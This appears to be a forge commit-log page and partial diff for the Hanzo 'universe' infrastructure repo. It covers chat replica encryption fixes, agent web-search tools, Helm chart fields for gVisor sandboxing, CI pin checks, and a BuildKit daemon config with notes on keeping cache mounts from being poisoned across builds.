with sizes and mtimes intact. They stayed put until the encrypted lineage had
been written AND restored from, because until then they were the only copy that
could be read back.

Also corrects the note on -if-replica-exists. The gate did not fail -- it said
truthfully that it found no replica it could read. Blaming the flag would point
the next reader at the wrong thing; the replica behind it was the fault, and the
alarm is the control that catches that.
2026-08-05 05:18:12 -07:00
hanzo-dev 86cf5af427 cloud v1.801.466 — agents can reach the web, and answers can pick a shape
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 8s
Charts / publish (push) Successful in 13s
CI / manifests (push) Failing after 13s
ai v1.832.30 puts web_search / fetch_url / deep_research in the builtin tool
registry that until now held five TIME tools. An agent on /v1/responses asking
to search the web had nothing to call while /v1/websearch, /v1/crawl and /v1/ask
were live the whole time. This host installs the websearch backend in-process —
never over api.hanzo.ai, which validates a customer credential and 401s a
service.

deep_research is declared but NOT installed, deliberately: it carries a 25-cent
per-answer fee charged through Bill.Gate, and a tool call has no payer, so a
direct seam would be unbilled 25-cent calls an agent could loop. It answers
'unavailable in this deployment' rather than an empty result — an agent told 'no
results' concludes the web holds nothing and answers from memory.

Also the widget rule on /v1/ask, so a comparison arrives as a table and a
procedure as steps. The client validates and drops anything malformed, keeping
the prose.

Digest read from the registry with crane.
2026-08-05 04:53:00 -07:00
hanzo-dev d89ef8e298 chat: replicate 0.8.0 -> 0.9.9, the first build that can actually replicate
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 12s
Charts / publish (push) Successful in 14s
Both halves of age support land here. Write: s3.ReplicaClient.WriteLTXFile now
dates the object with internal.ExtractLTXTimestamp, which sniffs the age intro
instead of parsing ciphertext as LTX. Read: the three decrypt sites go through
internal.DecryptIfSealed, so a plaintext object no longer dies on "unexpected
intro: LTX1" -- which is what the bucket holds and what made restore a no-op.

Built from main (f864603), not a tag: v0.9.6 carries the write half and nothing
through v0.9.8 carries the read half. Digest-pinned, since the point of this
change is that a tag sitting here proved nothing about what was running.

It also arms the fail-closed default -- RequireEncryption is true unless a
config says age.allow-plaintext, and every write path refuses plaintext. That
is what stops recover-config-chat re-leaking cleartext into this prefix.
2026-08-05 01:51:04 -07:00
hanzo-dev 5418d737a4 chat: say the pin is still broken, and alarm on the silence
CI / integrity (push) Failing after 5s
Mirror to GitHub / publish (push) Failing after 6s
CI / guards (push) Failing after 8s
CI / manifests (push) Failing after 11s
Charts / publish (push) Successful in 13s
The comment I just wrote claimed the pinned image carried the ExtractLTXTimestamp
fix. It does not -- the pin is still 0.8.0 and hanzoai/replicate has no published
build with it (highest is 0.9.4, which predates both halves). Declared state
saying a thing is fixed when it is not is worse than saying nothing, so it now
says which pin is broken and what has to replace it.

Records the other half too: 0.8.0 decrypts unconditionally once identities are
set, so restore dies reading a PLAINTEXT object ("unexpected intro: LTX1").
Read and write were each assuming the other's encryption state. DecryptIfSealed
is in main and in no tag through v0.9.8, so the image has to come from main.

Measured, not inferred: `restore -if-replica-exists` at this pin exits 0 having
written no file. The gate swallows the decrypt error, so losing the volume today
boots chat on an empty database in silence. ChatReplicaSyncFailing watches the
sidecar's "monitor error" lines for exactly that -- logs, because the metrics in
db.go are never exposed (no addr, nothing scrapes). It will fire the moment it
is applied, which is correct: the condition is true right now.
2026-08-05 01:49:03 -07:00
hanzo-dev f62730df47 billing: talk to sales books on our own calendar 2026-08-05 01:48:56 -07:00
hanzo-dev d4f5173433 billing: Enterprise is sold, not free; the banner reads the plan
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 12s
Charts / publish (push) Successful in 14s
2026-08-05 01:44:14 -07:00
hanzo-dev 35e84bbc47 chat: the replica config lives here now, not only in the cluster
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
CI / manifests (push) Failing after 11s
Mirror to GitHub / publish (push) Failing after 7s
Charts / publish (push) Successful in 14s
chat-replicate-config was mounted by name and declared nowhere, so the backup
configuration for the only copy of chat's data was reviewed by no one and a
rebuild did not reproduce it. Adopted verbatim -- the rendered data is byte
identical to what is running (426 bytes), so this is a declaration, not a
change.

The comment above it now records why the sidecar never replicated: 0.8.0
encrypts in Replica.WriteLTXFile and then reads the resulting CIPHERTEXT with
ltx.PeekHeader to date the S3 object, so every sync died on "invalid LTX file"
and txid.replica never left 0. Also records the second writer -- recover-config-chat
targets this same bucket and prefix with no age block, which is where the
plaintext snapshots under chat/app/0009/ came from.
2026-08-05 01:43:06 -07:00
hanzo-dev a2be5f803d build: a build could not reach the forge it builds from
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 16s
BuildKit jobs fetch source over the public host, git.hanzo.ai, which resolves to
this cluster's own LoadBalancer. DO's LB does not hairpin, so the connection did
not fail -- it hung, for 134678 ms, and the build died on a timeout that reads
like a network fault somewhere else entirely. The s3 lane hit the identical wall
at 133755 ms and artifact-publish-egress.yaml already documents it.

The in-cluster path is the hanzo-git Service, and ciliumnetworkpolicy.yaml denies
the build namespace every 10/8 address -- correctly, since a build runs a repo's
own Dockerfile. But that blanket denial has no exception for fetching the source
being built, so "use the native forge" was structurally impossible: not
misconfigured, unreachable by construction.

Measured from a pod in hanzo-build, before: the Service, its ClusterIP, and the
backend pod IP all time out at 10s. From a pod in hanzo, the same backend answers
303 in 0.016s. After: 303 in 0.023s via the Service, and `git ls-remote` against
hanzoai/cloud and hanzo/universe both return a SHA.

The port is 3000, the container's, not the Service's 80 -- Cilium translates the
Service before it evaluates egress, so naming 80 would look right and deny.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 01:35:17 -07:00
hanzo-ci 815d5da9d3 chat 1.0.80 -> 1.0.81
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 13s
Charts / publish (push) Successful in 15s
ghcr.io/hanzoai/chat:1.0.81
sha256:c34ae170714763cef10170c379367d536ef828895ee0dc13673342e6ffe4c4e7

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: hand
2026-08-05 01:28:25 -07:00
hanzo-dev 1f778a3684 chat: replicas stays 1, and the reason is now written where it is read
CI / integrity (push) Failing after 4s
CI / guards (push) Failing after 7s
Charts / publish (push) Successful in 14s
Mirror to GitHub / publish (push) Failing after 6s
CI / manifests (push) Failing after 48s
Task asked whether chat could take replicas:2 + RollingUpdate to stop every
release being a ~3min 503. It cannot, and the values file never said why, so
the question keeps getting re-asked and the answer keeps getting re-derived.

app-db is not vestigial. chat.db on that claim holds 28 users, 155
conversations, 348 messages and 356 transactions, in WAL, with the txid
advancing under live traffic. Four independent things pin it to one writer --
an in-process synchronous better-sqlite3 handle with no flock or leader,
read-modify-write updates in JS that lose a write silently under two pods,
a deferred-BEGIN bulkWrite that hits the one busy error busy_timeout will not
retry, and a ReadWriteOnce claim over 23 nodes. Replicas:2 would trade a
visible 503 for silent Balance and Transaction corruption.

Records the exit too: the store abstracts collections behind CollectionSpec,
so a networked handle against Hanzo Base drops the claim and makes RollingUpdate
legal. That is the fix; raising replicas is not.

And records what the audit turned up next to it: the replicate sidecar that is
supposed to be the second copy of that database has failed every sync since it
started and reports txid.replica=0, `replicate ltx` lists nothing, so the
restore init container skips and chat would boot EMPTY if the volume were lost.
The two objects that are in the bucket carry a plaintext LTX1 magic while the
config declares age encryption. Its ConfigMap is also mounted by name and
declared nowhere in this repo. Needs its own fix -- noted here because it is
what makes the single copy load-bearing.

Comments only -- the parsed values are byte-identical to the previous commit.
2026-08-05 01:24:26 -07:00
hanzo-dev d4ab4c8374 pay: dark like everything else, and no link it had to guess
CI / guards (push) Failing after 5s
CI / integrity (push) Failing after 4s
CI / manifests (push) Failing after 12s
Charts / publish (push) Successful in 15s
Mirror to GitHub / publish (push) Failing after 6s
2026-08-05 01:21:50 -07:00
hanzo-ciandhanzo-dev ebf73d2eec cloud v1.801.454 -> v1.801.460: the catalog can reach the store it writes to
CI / guards (push) Failing after 7s
CI / integrity (push) Failing after 7s
CI / manifests (push) Failing after 13s
Mirror to GitHub / publish (push) Failing after 7s
Charts / publish (push) Successful in 1m7s
ghcr.io/hanzoai/cloud:v1.801.460
sha256:bd2a8786e52566857bee804ddb9ab0dad67c97100eea36bbef8eaeddbc4da15e

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

WHAT MOVES. /v1/catalog has served {"data":[],"total":0} since catalog and
index became separate processes, and hanzo.app's /community and /templates have
rendered that empty ever since. Nothing was wiped and no ingestion was missing:
the hourly reconcile assembled the corpus correctly and then handed it to
index.Reconcile, which serves out of a process-level global that is nil in the
catalog process. It was never written once. projects.LiveSites had the same gap
and reports nil when unmounted, so the live-site half vanished with no error at
all.

cloud a8b5bd5 + 74b7430 publish index_reconcile and sites_live on the internal
plane and give catalog the second leg on both — in-process first, then the
plane, the same shape the read already had. The swap still executes in the
process that owns the SQLite; only the request for it crosses. Measured against
live GitHub before release: 559 rows (product 358, third-party 110, community
69, template 22).

WHY BY HAND. The rollout car reads UNIVERSE_PIN_TOKEN from
/v1/kms/orgs/<org>/secrets/... and the broker has no such route — there is no
org in a KMS path, the store root comes from the validated claim. So nothing has
pinned since v1.801.454 and .455/.457 built and were never deployed. cloud
11a6ce2 fixes the path, but it only takes effect from the release after the one
carrying it, so this pin is manual.

Pinned-by: hand
2026-08-05 01:18:19 -07:00
149 changed files with 6295 additions and 608 deletions
+38
View File
@@ -79,6 +79,44 @@ jobs:
install -m 0755 /tmp/linux-amd64/helm /usr/local/bin/helm
helm version --short
- name: Vendor chart dependencies
# `helm package` does NOT fetch dependencies — it packages whatever is in
# the chart's charts/ directory, and an umbrella whose dependency was
# never vendored packages CLEANLY into an artifact that renders to
# nothing. That failure is silent in every direction: the job is green,
# the version resolves at the registry, and the Application syncs to zero
# objects.
#
# `build` and not `update`: build installs exactly what Chart.lock pins,
# so the published artifact matches the lock the repo reviewed. `update`
# would re-resolve the constraint and could vendor something newer than
# the lock, which is the same class of bug one level down. A Chart.lock
# that disagrees with Chart.yaml fails here, which is the point.
run: |
set -euo pipefail
for c in charts/*/; do
[ -f "$c/Chart.yaml" ] || continue
grep -q '^dependencies:' "$c/Chart.yaml" || continue
echo "::group::deps ${c}"
# `helm dependency build` resolves a repository by NAME from the
# runner's local repo list — it does not fetch the URL in Chart.yaml,
# and on a fresh runner that list is empty:
# Error: no repository definition for https://charts.jetstack.io
# So register each dependency's repo first. The alias is derived from
# the URL, which keeps it deterministic and keeps two charts sharing a
# repo from fighting over the name.
helm dependency list "$c" \
| awk 'NR>1 && $3 ~ /^https?:\/\// {print $3}' | sort -u \
| while read -r url; do
alias="dep-$(printf '%s' "$url" | sed -e 's|^https\?://||' -e 's|[^a-zA-Z0-9]|-|g')"
helm repo add "$alias" "$url" --force-update >/dev/null
done
helm dependency build "$c"
echo "::endgroup::"
done
- name: Lint and render every values file
# A chart that publishes but cannot render its own fleet is a broken
# release that only shows up as 90-odd failing syncs. Rendering here
+79 -13
View File
@@ -145,20 +145,18 @@ jobs:
# Also fails a pin whose tag no longer exists, which is an
# ImagePullBackOff discovered here instead of in a cluster.
#
# continue-on-error is now a NARROWER concession than it reads. It used to
# be the only way to stop a registry outage wedging every merge, because
# the script collapsed "the registry says this tag is gone" and "I could
# not reach the registry" into the same empty answer. It no longer does:
# unreachable pins are counted and reported as a ::warning::, and only a
# real contradiction sets the exit code. So the flag is load-bearing for
# exactly one thing now -- the live hanzo/iam finding below -- and should
# be DELETED once that clears, making this gate blocking like the rest:
# THE continue-on-error IS GONE, on the condition this comment itself set.
# It was narrowed to one live finding — hanzo/iam pinned v1.34.4@9681afd5
# while the registry had re-pushed that tag as b1370349 — and it said to
# delete the flag once that cleared. It has: iam pins v1.34.17@5c17d06d
# and the registry serves 5c17d06d for that tag.
#
# hanzo/iam pins v1.34.4@9681afd5 and the cluster runs 9681afd5, but
# the registry now serves v1.34.4 as b1370349 -- the TAG was re-pushed
# under a correct pin. The digest is what kept prod on reviewed bytes;
# the fix is upstream in whatever republished a released tag, not here.
continue-on-error: true
# A concession that outlives its reason is how a check stops being one.
# This is the ONLY gate in the fleet that asks the registry anything, so
# for as long as it could not fail, `newtag@olddigest` — the pod reporting
# the new version while serving the old bytes, with git, the tag and every
# readback agreeing because they all read the tag — was a state nothing
# could refuse.
env:
GH_PAT: ${{ secrets.GH_PAT }}
run: python3 scripts/ci/pins.py --resolve
@@ -312,6 +310,74 @@ jobs:
sys.exit(bad)
EOF
- name: The gVisor node set is declared once
# Two objects name the set of nodes that carry runsc, and they must be
# the SAME set: the installer DaemonSet, which puts the binary on a node,
# and RuntimeClass/gvisor, whose scheduling.nodeSelector is merged into
# every pod naming that class at admission. Disagree and sandboxed pods
# are pinned to nodes where runsc was never installed -- or, if the
# RuntimeClass names a set that does not exist, to no node at all, which
# is Pending forever rather than a visible error.
#
# Both of them shipped pointing at `workload: code-exec` with a
# toleration for `dedicated=code-exec`, and for 33 days NO node on
# hanzo-k8s carried either. The DaemonSet sat at 0 desired and reported
# Healthy, because 0 is the correct answer to "how many nodes match" and
# every readback agrees with it. code-exec-pool now EXISTS -- 2 nodes,
# tainted `dedicated=code-exec:NoSchedule` -- and both objects point at it.
#
# TOLERATIONS ARE CHECKED TOO, and that is new. While the node set was the
# untainted worker-pool a missing toleration granted nothing and cost
# nothing. On a tainted pool it is the difference between running and
# Pending forever: the nodeSelector PINS a sandboxed pod to the pool and
# the taint then refuses it. Selector and toleration are one fact.
#
# This is the half of that which is checkable WITHOUT a cluster, so it
# runs here on every push. The other half -- whether the selector matches
# a node that exists, and whether desired is still greater than zero --
# is a live fact no static check can see, and belongs to the hourly
# CronJob in infra/k8s/gvisor/guard.yaml.
run: |
python3 - <<'EOF'
import sys, yaml
def objs(p):
return [d for d in yaml.safe_load_all(open(p)) if d]
ds = [d for d in objs('infra/k8s/gvisor/installer.yaml') if d['kind'] == 'DaemonSet']
rc = [d for d in objs('infra/k8s/gvisor/runtimeclass.yaml') if d['kind'] == 'RuntimeClass']
bad = 0
if len(ds) != 1 or len(rc) != 1:
print("::error file=infra/k8s/gvisor/installer.yaml::expected exactly one"
" DaemonSet and one RuntimeClass in infra/k8s/gvisor")
sys.exit(1)
dsel = ds[0]['spec']['template']['spec'].get('nodeSelector') or {}
rsel = (rc[0].get('scheduling') or {}).get('nodeSelector') or {}
if not dsel:
print("::error file=infra/k8s/gvisor/installer.yaml::gvisor-installer declares"
" no nodeSelector -- it would install a sandbox runtime, and restart"
" containerd, on every node in the cluster")
bad = 1
if dsel != rsel:
print(f"::error file=infra/k8s/gvisor/runtimeclass.yaml::RuntimeClass/gvisor"
f" schedules onto {rsel} but gvisor-installer installs onto {dsel}."
f" One node set, two objects -- change them in the same commit")
bad = 1
# Normalised because these are lists of dicts: order is not meaning, and
# a toleration that differs only in key order is the same toleration.
def tol(o):
return sorted(tuple(sorted(t.items())) for t in (o or []))
dtol = tol(ds[0]['spec']['template']['spec'].get('tolerations'))
rtol = tol((rc[0].get('scheduling') or {}).get('tolerations'))
if dtol != rtol:
print(f"::error file=infra/k8s/gvisor/runtimeclass.yaml::RuntimeClass/gvisor"
f" tolerates {rtol} but gvisor-installer tolerates {dtol}. On a tainted"
f" pool the selector PINS a sandboxed pod there and the taint refuses"
f" it -- Pending forever, with runsc installed and idle")
bad = 1
if not bad:
print(f"gVisor node set agreed by installer and RuntimeClass: {dsel} tolerating {dtol}")
sys.exit(bad)
EOF
- name: Edge routes are whole
# routes.yaml is 2700+ lines of traefik file-provider config in ONE
# ConfigMap, and nothing above validates it: a truncated file still
+48 -16
View File
@@ -12,7 +12,8 @@ AI assistant context for the `universe` repository.
## This repository lives on the forge — pushing anywhere else deploys nothing
git.hanzo.ai/hanzo/universe CANONICAL. cd.hanzo.ai reconciles from it.
github.com/hanzoai/universe ARCHIVED (read-only). Was a live duplicate.
github.com/hanzoai/universe WRITEABLE mirror. Private, NOT archived.
Receives a push mirror OUT; deploys nothing.
There is one remote and it is the forge. A push to any other host lands in a
real repository, reports success, and changes nothing in the cluster — the only
@@ -36,12 +37,21 @@ The free second signal: if `cd` reports a synced revision your clone cannot
resolve (`git cat-file -e <rev>` fails), you are pushing to a different
repository — not "cd is behind".
Two guards now make the mistake structural rather than a matter of care: the
GitHub copy is archived (the server refuses the push), and `.git/hooks/pre-push`
refuses any target that is not `git.hanzo.ai` (local, so it fires before the
network does). Hooks are per-clone and are NOT copied by `git clone` — a fresh
checkout gets the archive protection but not the hook, so run the two `git
config` lines above once on any new clone.
⚠️ **There is now ONE guard, not two, and it is the weaker one.** This section
used to say the GitHub copy was archived so "the server refuses the push", making
the mistake structural. Measured today: `github.com/hanzoai/universe` is
`archived=false`, private, and was pushed to this morning — it is the live
destination of a push mirror OUT, so it necessarily accepts writes. GitHub will
take your push and report success.
What is left is `.git/hooks/pre-push`, which refuses any target that is not
`git.hanzo.ai`. Hooks are per-clone and are NOT copied by `git clone`, so a fresh
checkout has NO protection at all — previously it at least inherited the archive.
Run the two `git config` lines above on any new clone, and install the hook.
The archive claim is worth calling out rather than quietly deleting: a guard that
has silently stopped existing is more dangerous than one that was never claimed,
because the reader stops checking.
## Reading this repo
@@ -117,10 +127,25 @@ with ONE prefix `repo-creds` entry for `https://git.hanzo.ai/` (trailing slash i
load-bearing), token scoped `read:repository`, held in KMS at `hanzo`/`prod`/`cd`
key `forge-token`.
`luxfi/universe` and `zooai/universe` are PULL MIRRORS of the GitHub repos — GitHub
is still where Lux and Zoo are written, the forge is the read side CD sees. The
interval was 8h and is now **10m**; the proper fix is a push-driven sync row, which
first needs those two converted from mirror to regular repos.
**All three universes are canonical ON THE FORGE, and private.** `hanzo/universe`,
`luxfi/universe` and `zooai/universe` are each the repo their fleet is written to
and read from — CI/CD is native (git.hanzo.ai Actions + platform.hanzo.ai builds),
so GitHub is out of the loop entirely rather than upstream of it.
Measured on the live plane, not inferred: every ApplicationSet generator sources
`https://git.hanzo.ai/{hanzo,luxfi,zooai}/universe`, and across all Applications
there is **not one `github.com` repoURL** — the only non-forge source is
`oci.hanzo.ai/charts`.
kubectl -n hanzo-cd get applicationsets.apps.hanzo.ai \
-o jsonpath='{range .items[*]}{.metadata.name} {.spec.generators[0].git.repoURL}{"\n"}{end}'
This paragraph previously said luxfi/ and zooai/ were PULL MIRRORS of GitHub repos,
that "GitHub is still where Lux and Zoo are written", and that converting them from
mirror to regular repos was outstanding work. That migration is DONE; the sentence
outlived it. Anyone acting on the old text would push Lux or Zoo changes to a
GitHub repo nothing reconciles — the same silent-no-op this file warns about two
sections above, in the one place it claimed an exception.
Forge API base is **`/v1/`, not `/api/v1/`** — `/api/v1/version` 404s even against
the pod. Admin login is `z` / `z@hanzo.ai` (the seeded `z@<domain>` convention);
@@ -890,11 +915,18 @@ reports drift and, until a service opts in, none of them acts on it. Today 84 of
85 hanzo services are on (`hanzo/crawl.yaml` is the one holdout); no lux or zoo
service is yet, and turning one on is a one-line change in its own repo.
Two things are still NOT native about the lux/zoo half, and both are recorded in
`applicationset-lux-fleet.yaml` rather than here: those generators read
**github.com**, not the forge (the forge copies are private PULL mirrors that
would lag upstream), and neither fleet carries `ignoreDifferences`, so an
HPA-owned replica count reads as drift there where it does not on `fleet`.
The lux/zoo half IS native now. The `github.com` generator claim that stood here
is dead: measured live, `lux-fleet` sources `https://git.hanzo.ai/luxfi/universe`
and `zoo-fleet` sources `https://git.hanzo.ai/zooai/universe`, and no Application
anywhere in the plane carries a `github.com` repoURL. All three universes are
canonical on the forge and private.
What remains genuinely different: neither fleet carries `ignoreDifferences`, so an
HPA-owned replica count reads as drift there where it does not on `fleet`. Worth
knowing in both directions — on `fleet` that same entry is why
`/spec/replicas` on a Deployment is applied at CREATE and never reconciled
again, which is a live footgun for anything holding a single-writer invariant
(see visor).
Everything is `apps.hanzo.ai` and nothing else: CRDs
`applications|applicationsets|appprojects.apps.hanzo.ai`, workloads
+1 -1
View File
@@ -2,7 +2,7 @@ apiVersion: v2
name: app
description: The one Hanzo application chart — a container, a Service, and the things every service needs (ingress, PDB, HPA, probes, KMS-backed secrets). Replaces the App CRD.
type: application
version: 0.1.9
version: 0.1.10
appVersion: "0.1.0"
home: https://oss.hanzo.ai/charts/app
sources:
+21 -5
View File
@@ -124,13 +124,29 @@ def convert(dep, svcs, ingresses, pdbs, kind="Deployment"):
if (cn := main.get("name")) and cn != name:
v["containerName"] = cn
# THE PAIR, OR NOTHING. _helpers.tpl renders repository:tag@digest and the
# kubelet resolves the DIGEST, so a values file carrying one of the two is a
# pin that cannot be moved: change the tag and the deploy is a no-op that
# reports success. This generator could only ever emit one — repo:tag@digest
# split on '@' and threw the tag away, and a live pod on a bare tag yielded no
# digest at all — so every file adopted through it started life violating the
# invariant that pin.sh and pins.py exist to hold.
#
# Unfit, not "best effort". A live pod running a bare tag IS an unmovable pin;
# writing it into a values file launders it into something that looks
# converged. The report is the point of this script, so the report is where it
# goes — same as any other field the chart has no home for.
img = main.get("image", "")
if "@" in img:
repo, digest = img.split("@", 1)
v["image"] = {"repository": repo, "digest": digest}
repo, _, digest = img.partition("@")
repo, _, tag = repo.rpartition(":")
if repo and tag and digest:
v["image"] = {"repository": repo, "tag": tag, "digest": digest}
else:
repo, _, tag = img.rpartition(":")
v["image"] = {"repository": repo or img, "tag": tag} if repo else {"repository": img}
unfit.append(
f"image {img!r} does not name both a tag and a digest — the chart "
f"renders repository:tag@digest and the kubelet honours the digest, so "
f"a file with one of them is a pin nothing can move")
v["image"] = {"repository": repo or img}
if pol := main.get("imagePullPolicy"):
v["image"]["pullPolicy"] = pol
+20
View File
@@ -34,6 +34,26 @@ spec:
{{- if .Values.service.headless }}
clusterIP: None
{{- end }}
{{- /* internalTrafficPolicy: Local — "route me to the agent on MY node".
Added for a per-node DaemonSet whose whole value is a warm node-local
cache: the default round-robin sends a client to any node's daemon, so
with N daemons a repo's cache mount is found 1/N of the time and the
cache stops being warm precisely because it is shared badly. Local
makes the choice deterministic, and cache locality is then a property
of the topology rather than of luck.
⚠️ Local DROPS traffic when the client's node has no ready endpoint —
it does not fall back to a remote one. That is the correct failure for
a node agent (a silent cross-node hop would look like a cache miss
forever), but it means the DaemonSet must cover every node a client can
be scheduled onto. Check that before setting this.
Meaningless on a headless Service: with clusterIP None there is no
kube-proxy VIP to apply a policy to, and the client resolves endpoints
itself. Set one or the other, not both. */}}
{{- with .Values.service.internalTrafficPolicy }}
internalTrafficPolicy: {{ . }}
{{- end }}
{{- /* No container, no selector — an endpoint-less Service, which is a real
object and not a mistake. The static-site plane needs exactly one: the
staticFiles middleware is terminal (it never calls next), so the route
+28
View File
@@ -71,6 +71,16 @@ spec:
{{- with .Values.serviceAccountName }}
serviceAccountName: {{ . }}
{{- end }}
{{- /* Emitted ONLY when the values file states a boolean, because the
field's absence and the value `true` are the same thing to the API
and are NOT the same thing to a diff. Defaulting this to true in
values.yaml would write the field into all ~100 rendered pods that
do not carry it today, and every one of them would read as changed.
`with` cannot express this — it treats `false` as empty — so the
test is on the KIND, not the truthiness. */}}
{{- if kindIs "bool" .Values.automountServiceAccountToken }}
automountServiceAccountToken: {{ .Values.automountServiceAccountToken }}
{{- end }}
{{- with .Values.imagePullSecrets }}
imagePullSecrets:
{{- toYaml . | nindent 8 }}
@@ -81,6 +91,24 @@ spec:
{{- with .Values.priorityClassName }}
priorityClassName: {{ . }}
{{- end }}
{{- /* WHICH KERNEL THIS POD GETS. `gvisor` (handler runsc) is a
user-space kernel, and it is the boundary for anything that parses
tenant bytes — submitted code, a third-party language server over a
customer's source. Without this key the chart could not express
such a workload at all, which is why the first two of them were
heading for raw manifests outside CD.
It also carries the NODE SET, and that is why no values file here
restates one: RuntimeClass.scheduling merges its nodeSelector and
tolerations into every pod that names it, at admission. Declaring
the same node set a second time in a values file is not redundancy
— it is a second place to be wrong, and the day a dedicated pool
exists the two disagree and the pod is REJECTED. The node set is
declared once, in infra/k8s/gvisor/runtimeclass.yaml, beside the
DaemonSet that installs the runtime on exactly those nodes. */}}
{{- with .Values.runtimeClassName }}
runtimeClassName: {{ . }}
{{- end }}
{{- with .Values.nodeSelector }}
nodeSelector:
{{- toYaml . | nindent 8 }}
+18
View File
@@ -417,6 +417,19 @@
"priorityClassName": {
"type": "string"
},
"runtimeClassName": {
"type": "string",
"title": "Pod runtime",
"description": "Which kernel this pod gets. Empty = the node default (runc). 'gvisor' is the runsc user-space kernel and is the boundary for any workload that parses tenant bytes. A RuntimeClass merges its own scheduling.nodeSelector and tolerations into the pod at admission, so a values file setting this must NOT restate that node set - the two would disagree the day a dedicated pool exists, and the pod would be rejected."
},
"automountServiceAccountToken": {
"type": [
"boolean",
"null"
],
"title": "Mount a service-account token",
"description": "null (default) omits the field, so the API default applies and no existing render changes. false refuses the pod a kubeconfig it has no use for - mandatory for anything running untrusted code, where a mounted token sits inside the blast radius."
},
"nodeSelector": {
"type": "object",
"additionalProperties": {
@@ -492,6 +505,11 @@
"headless": {
"type": "boolean"
},
"internalTrafficPolicy": {
"type": "string",
"enum": ["", "Cluster", "Local"],
"description": "Local routes a client to the endpoint on its OWN node — required for a per-node DaemonSet whose cache is node-local. Drops traffic when the local node has no ready endpoint; it does not fall back. Inert on a headless Service."
},
"annotations": {
"type": "object",
"additionalProperties": {
+15
View File
@@ -110,6 +110,21 @@ sidecars: []
serviceAccountName: ""
priorityClassName: ""
# Which kernel the pod runs on. Empty = the node's default runtime (runc).
# `gvisor` is the runsc user-space kernel, and it is what a workload parsing
# tenant bytes runs under. It carries its own node set (see templates/workload.yaml),
# so a values file that sets this must NOT also set nodeSelector/tolerations for
# the same pool.
runtimeClassName: ""
# null = the field is not emitted, so the API's default (true) applies and no
# existing pod's render changes. `false` refuses the pod a kubeconfig it has no
# use for — correct for anything that talks to no apiserver, and mandatory for
# anything running untrusted code, where a mounted token is a credential inside
# the blast radius.
automountServiceAccountToken: null
nodeSelector: {}
tolerations: []
affinity: {}
@@ -0,0 +1,375 @@
# buildkitd — one warm BuildKit daemon per CI node.
#
# WHY THIS EXISTS. Builds run as one-shot Jobs. A Job is a fresh pod, so every
# `--mount=type=cache` in every Dockerfile is decorative: the mount is created,
# nothing is behind it, and the compile pays full cost every single run. The
# registry cache (`--import-cache`/`--export-cache`) already works and is kept —
# but it restores LAYERS, and a layer only helps when the whole step is
# unchanged. It cannot restore the inside of a cache mount, which is exactly
# where Go's build cache and module cache live. So the expensive half of every
# build was never cached at all.
#
# A daemon that OUTLIVES the build fixes this, and nothing else does.
#
# MEASURED, on this cluster, ghcr.io/hanzoai/cloud, two consecutive commits
# against one daemon (19010dbb cold, then 0e57f39c warm):
#
# wall clock 19m36s -> 7m19s 2.68x, -62.7%
# #18 go mod download 54.4s -> 1.0s 54.40x cache mount /go/pkg/mod
# #24 go generate 588.5s -> 88.5s 6.65x cache mounts, both
# #25 16.0s -> 2.3s 6.96x
# #23 12.9s -> 2.1s 6.14x
# #27 220.7s -> 114.5s 1.93x
#
# EVERY step carrying a cache mount got faster. That is the claim: not "a daemon
# is running", but "the second build reused the Go compile cache". The two runs
# were different commits on purpose — an identical rebuild would prove only that
# the layer cache works, which was never in doubt.
#
# ⚠️ Two steps got SLOWER warm: `COPY --from=build /plugins/ /` 13.5s -> 194.9s
# and `COPY --from=build /smoke /smoke` 0.1s -> 11.5s. Cold, those layers came
# back whole from the registry cache; warm, the rebuilt stage produced new
# content that had to be materialised for real (12.07GB of plugins, the largest
# single record in the store). Net is still 12m17s saved. Recorded because the
# honest number is the wall clock, not the six steps that flatter the change.
#
# ─────────────────────────────────────────────────────────────────────────────
# SECURITY — THE SHARED CACHE STAYS CONTENT-ADDRESSED. DO NOT "OPTIMIZE" THIS.
# ─────────────────────────────────────────────────────────────────────────────
# Sharing one daemon between builds is safe for exactly one reason: the layer
# and snapshot store is keyed by DIGEST. A layer cannot masquerade as another
# layer, because its name IS its content — poison it and it addresses something
# else and is simply not found. That property is what makes this consolidation
# sound, and it is not a matter of configuration.
#
# Cache MOUNTS are the exception and they are the whole hazard. `--mount=type=
# cache,id=NAME` is keyed by the id STRING, not by content: it is a named,
# mutable directory. Per-pod isolation prevented cross-build poisoning today by
# accident — every build got its own empty one. A shared daemon removes that
# accident. Two builds naming the same id now share one writable directory, and
# whoever writes first decides what the second one compiles against.
#
# Therefore, and these are load-bearing, not style:
#
# 1. Cache mount ids MUST be namespaced per repository. cloud already does
# this correctly: `cloud-gomod-v4`, `cloud-gobuild-v4`. NEVER collapse
# these to a generic `gomod` / `gobuild` to "share more" — that is the
# poisoning vector, dressed up as a hit-rate improvement. The version
# suffix is how a poisoned or corrupt mount gets abandoned: bump it.
# 2. Only FIRST-PARTY repos may share a daemon. Every build reaching this
# socket is inside one trust domain. Untrusted or user-submitted code must
# NOT share it — see the sandbox note in the PR: sandboxes submit
# scratch-only, with cache mounts disabled, or to their own daemon.
# 3. `sharing=locked` on every cache mount (cloud already does) — that is
# concurrency-correctness, not security, and it does not substitute for 1.
#
# Rootless is the other half. Today's build Jobs run `privileged: true`; this
# daemon does not, which is the same class of win gVisor buys elsewhere. The
# residual is `noProcessSandbox` (below) — a real trade, and still strictly
# better than blanket privileged.
#
# ⚠️ The gRPC endpoint is TCP with NO TLS and NO client auth, so reachability IS
# authorization. That is bounded by two things and only those: the namespace
# denies all ingress by default (infra/k8s/hanzo-build/networkpolicy.yaml) and
